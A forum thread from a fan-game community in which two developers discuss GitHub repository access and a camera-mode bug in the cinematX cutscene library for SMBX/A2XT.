Repo's up and running. Just to be sure, are you Hoeloe on Github as well? I added that account as a collaborator without thinking and removed it when I realized I hadn't made sure it's the same person. So that is you, my apologies ^_^"

The player jumping to those positions is the result of the unfinished "camera mode", which was my incredibly hacky attempt to implement view panning. Go ahead and comment out "cinematX.enterCameraMode()" in runCutscene and "cinematX.exitCameraMode()" in endCutscene.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Repo's up and running. Just to be sure, are you Hoeloe on Github as well? I added that account as a collaborator without thinking and removed it when I realized I hadn't made sure it's the same person. So that is you, my apologies ^_^"

The player jumping to those positions is the result of the unfinished "camera mode", which was my incredibly hacky attempt to implement view panning. Go ahead and comment out "cinematX.enterCameraMode()" in runCutscene and "cinematX.exitCameraMode()" in endCutscene.
It's absolutely fine, I can just set the player coordinates after calling "endCutscene", so there's no reason to remove it really. I was just being dense.

And yes that is me on Github, too. I think I managed to fork and create a pull request before you removed my access.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

Sorry again, you're back in the repo now.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Sorry again, you're back in the repo now.
No problem! Hopefully, this should be in a state that is usable for MAGLX2 now. Horikawa asked me to PM it over when it's ready, so unless you want to finish anything up, that might be a good idea.

I've started building my MAGLX2 level with this, and it's pretty sweet so far. The follower script is excellent.
Image
Image
Image
Image
Image


Return to β€œA2XT”

Who is online

Users browsing this forum: No registered users and 6 guests